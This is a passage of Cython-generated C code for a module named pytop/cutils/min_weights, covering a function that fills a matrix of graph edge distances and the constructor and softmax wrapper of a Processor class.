__PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } __pyx_t_1 = (__pyx_t_3) ? __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3) : __Pyx_PyObject_CallNoArg(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyInt_As_int(__pyx_t_1); if (unlikely((__pyx_t_4 == (int)-1) && PyErr_Occurred())) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_num_of_nodes = __pyx_t_4; /* "pytop/cutils/min_weights.pyx":42 * cdef vector[vector[float]] WU * cdef vector[float] row * edge_distances = g.to_undirected().edges(data="distance") # <<<<<<<<<<<<<< * * for i in range(num_of_nodes): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_g, __pyx_n_s_to_undirected); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } __pyx_t_1 = (__pyx_t_3) ? __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3) : __Pyx_PyObject_CallNoArg(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_edges); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_data, __pyx_n_s_distance) < 0) __PYX_ERR(0, 42, __pyx_L1_error) __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_edge_distances = __pyx_t_3; __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":44 * edge_distances = g.to_undirected().edges(data="distance") * * for i in range(num_of_nodes): # <<<<<<<<<<<<<< * for j in range(i, num_of_nodes): * row.push_back(-1.0) */ __pyx_t_4 = __pyx_v_num_of_nodes; __pyx_t_5 = __pyx_t_4; for (__pyx_t_6 = 0; __pyx_t_6 < __pyx_t_5; __pyx_t_6+=1) { __pyx_v_i = __pyx_t_6; /* "pytop/cutils/min_weights.pyx":45 * * for i in range(num_of_nodes): * for j in range(i, num_of_nodes): # <<<<<<<<<<<<<< * row.push_back(-1.0) * if row.size() > 0: */ __pyx_t_7 = __pyx_v_num_of_nodes; __pyx_t_8 = __pyx_t_7; for (__pyx_t_9 = __pyx_v_i; __pyx_t_9 < __pyx_t_8; __pyx_t_9+=1) { __pyx_v_j = __pyx_t_9; /* "pytop/cutils/min_weights.pyx":46 * for i in range(num_of_nodes): * for j in range(i, num_of_nodes): * row.push_back(-1.0) # <<<<<<<<<<<<<< * if row.size() > 0: * WU.push_back(row) */ try { __pyx_v_row.push_back(-1.0); } catch(...) { __Pyx_CppExn2PyErr(); __PYX_ERR(0, 46, __pyx_L1_error) } } /* "pytop/cutils/min_weights.pyx":47 * for j in range(i, num_of_nodes): * row.push_back(-1.0) * if row.size() > 0: # <<<<<<<<<<<<<< * WU.push_back(row) * row.erase(row.begin(), row.end()) */ __pyx_t_10 = ((__pyx_v_row.size() > 0) != 0); if (__pyx_t_10) { /* "pytop/cutils/min_weights.pyx":48 * row.push_back(-1.0) * if row.size() > 0: * WU.push_back(row) # <<<<<<<<<<<<<< * row.erase(row.begin(), row.end()) * for ep, es, d in edge_distances: */ try { __pyx_v_WU.push_back(__pyx_v_row); } catch(...) { __Pyx_CppExn2PyErr(); __PYX_ERR(0, 48, __pyx_L1_error) } /* "pytop/cutils/min_weights.pyx":49 * if row.size() > 0: * WU.push_back(row) * row.erase(row.begin(), row.end()) # <<<<<<<<<<<<<< * for ep, es, d in edge_distances: * p = int(ep) */ (void)(__pyx_v_row.erase(__pyx_v_row.begin(), __pyx_v_row.end())); /* "pytop/cutils/min_weights.pyx":47 * for j in range(i, num_of_nodes): * row.push_back(-1.0) * if row.size() > 0: # <<<<<<<<<<<<<< * WU.push_back(row) * row.erase(row.begin(), row.end()) */ } } /* "pytop/cutils/min_weights.pyx":50 * WU.push_back(row) * row.erase(row.begin(), row.end()) * for ep, es, d in edge_distances: # <<<<<<<<<<<<<< * p = int(ep) * s = int(es) */ if (likely(PyList_CheckExact(__pyx_v_edge_distances)) || PyTuple_CheckExact(__pyx_v_edge_distances)) { __pyx_t_3 = __pyx_v_edge_distances; __Pyx_INCREF(__pyx_t_3); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_v_edge_distances); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_12 = Py_TYPE(__pyx_t_3)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 50, __pyx_L1_error) } for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_3))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_3)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_1 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_11); __Pyx_INCREF(__pyx_t_1); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 50, __pyx_L1_error) #else __pyx_t_1 = PySequence_ITEM(__pyx_t_3, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_3)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_11); __Pyx_INCREF(__pyx_t_1); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 50, __pyx_L1_error) #else __pyx_t_1 = PySequence_ITEM(__pyx_t_3, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } } else { __pyx_t_1 = __pyx_t_12(__pyx_t_3); if (unlikely(!__pyx_t_1)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 50, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_1); } if ((likely(PyTuple_CheckExact(__pyx_t_1))) || (PyList_CheckExact(__pyx_t_1))) { PyObject* sequence = __pyx_t_1; Py_ssize_t size = __Pyx_PySequence_SIZE(sequence); if (unlikely(size != 3)) { if (size > 3) __Pyx_RaiseTooManyValuesError(3); else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); __PYX_ERR(0, 50, __pyx_L1_error) } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (likely(PyTuple_CheckExact(sequence))) { __pyx_t_2 = PyTuple_GET_ITEM(sequence, 0); __pyx_t_13 = PyTuple_GET_ITEM(sequence, 1); __pyx_t_14 = PyTuple_GET_ITEM(sequence, 2); } else { __pyx_t_2 = PyList_GET_ITEM(sequence, 0); __pyx_t_13 = PyList_GET_ITEM(sequence, 1); __pyx_t_14 = PyList_GET_ITEM(sequence, 2); } __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(__pyx_t_13); __Pyx_INCREF(__pyx_t_14); #else __pyx_t_2 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_13 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = PySequence_ITEM(sequence, 2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); #endif __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { Py_ssize_t index = -1; __pyx_t_15 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_16 = Py_TYPE(__pyx_t_15)->tp_iternext; index = 0; __pyx_t_2 = __pyx_t_16(__pyx_t_15); if (unlikely(!__pyx_t_2)) goto __pyx_L10_unpacking_failed; __Pyx_GOTREF(__pyx_t_2); index = 1; __pyx_t_13 = __pyx_t_16(__pyx_t_15); if (unlikely(!__pyx_t_13)) goto __pyx_L10_unpacking_failed; __Pyx_GOTREF(__pyx_t_13); index = 2; __pyx_t_14 = __pyx_t_16(__pyx_t_15); if (unlikely(!__pyx_t_14)) goto __pyx_L10_unpacking_failed; __Pyx_GOTREF(__pyx_t_14); if (__Pyx_IternextUnpackEndCheck(__pyx_t_16(__pyx_t_15), 3) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __pyx_t_16 = NULL; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; goto __pyx_L11_unpacking_done; __pyx_L10_unpacking_failed:; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_16 = NULL; if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); __PYX_ERR(0, 50, __pyx_L1_error) __pyx_L11_unpacking_done:; } __Pyx_XDECREF_SET(__pyx_v_ep, __pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_es, __pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF_SET(__pyx_v_d, __pyx_t_14); __pyx_t_14 = 0; /* "pytop/cutils/min_weights.pyx":51 * row.erase(row.begin(), row.end()) * for ep, es, d in edge_distances: * p = int(ep) # <<<<<<<<<<<<<< * s = int(es) * if p > s: */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_v_ep); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_XDECREF_SET(__pyx_v_p, __pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":52 * for ep, es, d in edge_distances: * p = int(ep) * s = int(es) # <<<<<<<<<<<<<< * if p > s: * WU[s][p - s] = float(d) */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_v_es); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_XDECREF_SET(__pyx_v_s, __pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":53 * p = int(ep) * s = int(es) * if p > s: # <<<<<<<<<<<<<< * WU[s][p - s] = float(d) * else: */ __pyx_t_1 = PyObject_RichCompare(__pyx_v_p, __pyx_v_s, Py_GT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_10) { /* "pytop/cutils/min_weights.pyx":54 * s = int(es) * if p > s: * WU[s][p - s] = float(d) # <<<<<<<<<<<<<< * else: * WU[p][s - p] = float(d) */ __pyx_t_17 = __Pyx_PyObject_AsDouble(__pyx_v_d); if (unlikely(__pyx_t_17 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 54, __pyx_L1_error) __pyx_t_18 = __Pyx_PyInt_As_size_t(__pyx_v_s); if (unlikely((__pyx_t_18 == (size_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 54, __pyx_L1_error) __pyx_t_1 = PyNumber_Subtract(__pyx_v_p, __pyx_v_s); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_19 = __Pyx_PyInt_As_size_t(__pyx_t_1); if (unlikely((__pyx_t_19 == (size_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; ((__pyx_v_WU[__pyx_t_18])[__pyx_t_19]) = __pyx_t_17; /* "pytop/cutils/min_weights.pyx":53 * p = int(ep) * s = int(es) * if p > s: # <<<<<<<<<<<<<< * WU[s][p - s] = float(d) * else: */ goto __pyx_L12; } /* "pytop/cutils/min_weights.pyx":56 * WU[s][p - s] = float(d) * else: * WU[p][s - p] = float(d) # <<<<<<<<<<<<<< * * return _get_min_edge_weights(WU, target) */ /*else*/ { __pyx_t_17 = __Pyx_PyObject_AsDouble(__pyx_v_d); if (unlikely(__pyx_t_17 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 56, __pyx_L1_error) __pyx_t_18 = __Pyx_PyInt_As_size_t(__pyx_v_p); if (unlikely((__pyx_t_18 == (size_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 56, __pyx_L1_error) __pyx_t_1 = PyNumber_Subtract(__pyx_v_s, __pyx_v_p); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_19 = __Pyx_PyInt_As_size_t(__pyx_t_1); if (unlikely((__pyx_t_19 == (size_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; ((__pyx_v_WU[__pyx_t_18])[__pyx_t_19]) = __pyx_t_17; } __pyx_L12:; /* "pytop/cutils/min_weights.pyx":50 * WU.push_back(row) * row.erase(row.begin(), row.end()) * for ep, es, d in edge_distances: # <<<<<<<<<<<<<< * p = int(ep) * s = int(es) */ } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":58 * WU[p][s - p] = float(d) * * return _get_min_edge_weights(WU, target) # <<<<<<<<<<<<<< * * */ __Pyx_XDECREF(__pyx_r); __pyx_t_3 = __pyx_convert_unordered_map_to_py_std_3a__3a_string____float(_get_min_edge_weights(__pyx_v_WU, __pyx_v_target)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_r = __pyx_t_3; __pyx_t_3 = 0; goto __pyx_L0; /* "pytop/cutils/min_weights.pyx":38 * * * def get_min_edge_weights(object g, int target): # <<<<<<<<<<<<<< * cdef int num_of_nodes = g.number_of_nodes() * cdef vector[vector[float]] WU */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_13); __Pyx_XDECREF(__pyx_t_14); __Pyx_XDECREF(__pyx_t_15); __Pyx_AddTraceback("pytop.cutils.min_weights.get_min_edge_weights", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_edge_distances); __Pyx_XDECREF(__pyx_v_ep); __Pyx_XDECREF(__pyx_v_es); __Pyx_XDECREF(__pyx_v_d); __Pyx_XDECREF(__pyx_v_p); __Pyx_XDECREF(__pyx_v_s); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "pytop/cutils/min_weights.pyx":62 * * class Processor(): * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): # <<<<<<<<<<<<<< * self.save_path = save_path * self.source_path = source_path */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_9Processor_1__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_9Processor_1__init__ = {"__init__", (PyCFunction)(void*)(PyCFunctionWithKeywords)__pyx_pw_5pytop_6cutils_11min_weights_9Processor_1__init__, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_9Processor_1__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_source_path = 0; PyObject *__pyx_v_save_path = 0; CYTHON_UNUSED PyObject *__pyx_v_n_threads = 0; PyObject *__pyx_v_minmax_inter = 0; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__init__ (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_source_path,&__pyx_n_s_save_path,&__pyx_n_s_n_threads,&__pyx_n_s_minmax_inter,0}; PyObject* values[5] = {0,0,0,0,0}; values[4] = ((PyObject *)((PyObject*)__pyx_tuple_)); if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); CYTHON_FALLTHROUGH; case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); CYTHON_FALLTHROUGH; case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); CYTHON_FALLTHROUGH; case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); CYTHON_FALLTHROUGH; case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); CYTHON_FALLTHROUGH; case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: if (likely((values[1] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_source_path)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("__init__", 0, 4, 5, 1); __PYX_ERR(0, 62, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: if (likely((values[2] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_save_path)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("__init__", 0, 4, 5, 2); __PYX_ERR(0, 62, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 3: if (likely((values[3] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_n_threads)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("__init__", 0, 4, 5, 3); __PYX_ERR(0, 62, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 4: if (kw_args > 0) { PyObject* value = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_minmax_inter); if (value) { values[4] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "__init__") < 0)) __PYX_ERR(0, 62, __pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); CYTHON_FALLTHROUGH; case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_self = values[0]; __pyx_v_source_path = values[1]; __pyx_v_save_path = values[2]; __pyx_v_n_threads = values[3]; __pyx_v_minmax_inter = values[4]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("__init__", 0, 4, 5, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 62, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.Processor.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_9Processor___init__(__pyx_self, __pyx_v_self, __pyx_v_source_path, __pyx_v_save_path, __pyx_v_n_threads, __pyx_v_minmax_inter); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_9Processor___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_source_path, PyObject *__pyx_v_save_path, CYTHON_UNUSED PyObject *__pyx_v_n_threads, PyObject *__pyx_v_minmax_inter) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__init__", 0); /* "pytop/cutils/min_weights.pyx":63 * class Processor(): * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): * self.save_path = save_path # <<<<<<<<<<<<<< * self.source_path = source_path * self.minmax_inter = minmax_inter */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_save_path, __pyx_v_save_path) < 0) __PYX_ERR(0, 63, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":64 * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): * self.save_path = save_path * self.source_path = source_path # <<<<<<<<<<<<<< * self.minmax_inter = minmax_inter * # dir_name = "regression_logs" */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_source_path, __pyx_v_source_path) < 0) __PYX_ERR(0, 64, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":65 * self.save_path = save_path * self.source_path = source_path * self.minmax_inter = minmax_inter # <<<<<<<<<<<<<< * # dir_name = "regression_logs" * # os.makedirs(dir_name, exist_ok=True) */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_minmax_inter, __pyx_v_minmax_inter) < 0) __PYX_ERR(0, 65, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":62 * * class Processor(): * def __init__(self, source_path, save_path, n_threads, minmax_inter=(0, 3.8)): # <<<<<<<<<<<<<< * self.save_path = save_path * self.source_path = source_path */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.Processor.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "pytop/cutils/min_weights.pyx":72 * # self.log_files[i] = create_logger(os.path.join(dir_name, "{}.log".format(i))) * * def softmax(self, neighbor_weights): # <<<<<<<<<<<<<< * exp = np.exp(neighbor_weights) * return exp / exp.sum() */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_9Processor_3softmax(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_9Processor_3softmax = {"softmax", (PyCFunction)(void*)(PyCFunctionWithKeywords)__pyx_pw_5pytop_6cutils_11min_weights_9Processor_3softmax, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_9Processor_3softmax(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { CYTHON_UNUSED PyObject *__pyx_v_self = 0; PyObject *__pyx_v_neighbor_weights = 0; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("softmax (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_neighbor_weights,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); CYTHON_FALLTHROUGH; case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); CYTHON_FALLTHROUGH; case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: if (likely((values[1] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_neighbor_weights)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("softmax", 1, 2, 2, 1); __PYX_ERR(0, 72, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "softmax") < 0)) __PYX_ERR(0, 72, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_neighbor_weights = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("softmax", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 72, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.Processor.softmax", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_9Processor_2softmax(__pyx_self, __pyx_v_self, __pyx_v_neighbor_weights); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_9Processor_2softmax(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_neighbor_weights) { PyObject *__pyx_v_exp = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("softmax", 0); /* "pytop/cutils/min_weights.pyx":73 * * def softmax(self, neighbor_weights): * exp = np.exp(neighbor_weights) # <<<<<<<<<<<<<< * return exp / exp.sum() * */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_np); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_exp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } __pyx_t_1 = 